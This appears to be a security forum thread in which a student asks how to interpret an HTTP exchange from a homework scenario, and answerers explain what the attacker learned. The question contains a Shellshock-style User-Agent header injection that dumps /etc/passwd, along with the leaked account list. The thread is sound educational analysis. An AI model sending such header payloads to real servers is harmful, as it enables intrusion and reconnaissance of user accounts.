Understanding HTTP response from Linux Server

Question

I am working through a question that involves someone using a vulnerability in a Linux server in order to gain access to it. The first part of the question states

In monitoring the network activity between a critical Goldmine Tech web server and an untrusted foreign IP, Bob discovers the following HTTP GET request from the untrusted IP:

GET /cgi-bin/status/status.cgi HTTP/1.1
Host: motherlode.goldminetech.edu
User-Agent: () { :;}; echo "PWNED by 0c007: “ $(</etc/passwd)

I understand here a shell script injection is being used as the command $(</etc/passwd)is executed, giving the hacker access to this password folder. Then, an HTTP response is listed here:

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length
root:!:0:0::/:/usr/bin/ksh
daemon:!:1:1::/etc:
bin:!:2:2::/bin:
sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
uucp:!:5:5::/usr/lib/uucp:
guest:!:100:100::/home/guest:
nobody:!:4294967294:4294967294::/:
lpd:!:9:4294967294::/:
lp:*:11:11::/var/spool/lp:/bin/false
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
paul:!:201:1::/home/paul:/usr/bin/ksh
jdoe:*:202:1:John Doe:/home/jdoe:/usr/bin/ksh

I am supposed to determine what the hacker gained access to. Here is where I am stuck, as I cannot decipher this response. I have looked around and cannot find anything explaining how to read an HTTP response from a Linux server. Any help would be greatly appreciated.

bonus points for knowing what specific vulnerability was exploited :) — schroeder, Oct 07 '15 at 22:43
you used the term "password folder" - please double check that is what you meant — schroeder, Oct 07 '15 at 22:44
Its not a folder it's a file. This is not a XSS attack. Here the attacker injected code by manipulating the User-Agent Header — davidb, Oct 07 '15 at 23:20

score 1 · Accepted Answer · edited Dec 01 '15 at 19:52

1

This is the content of the /etc/passwd file which contains the users of the system. It is separated from the password hashes, which are located in /etc/shadow. The attacker knows which accounts exist on the system. He can use that knowledge to bruteforce them and maybe deduce information about the system based on the usernames that are used by daemons.

edited Dec 01 '15 at 19:52

schroeder

123,438
55
284
319

answered Oct 07 '15 at 22:38

davidb

4,285
3
19
31

The question is bad, not the answer. – sebix Oct 08 '15 at 20:00

Understanding HTTP response from Linux Server

1 Answers1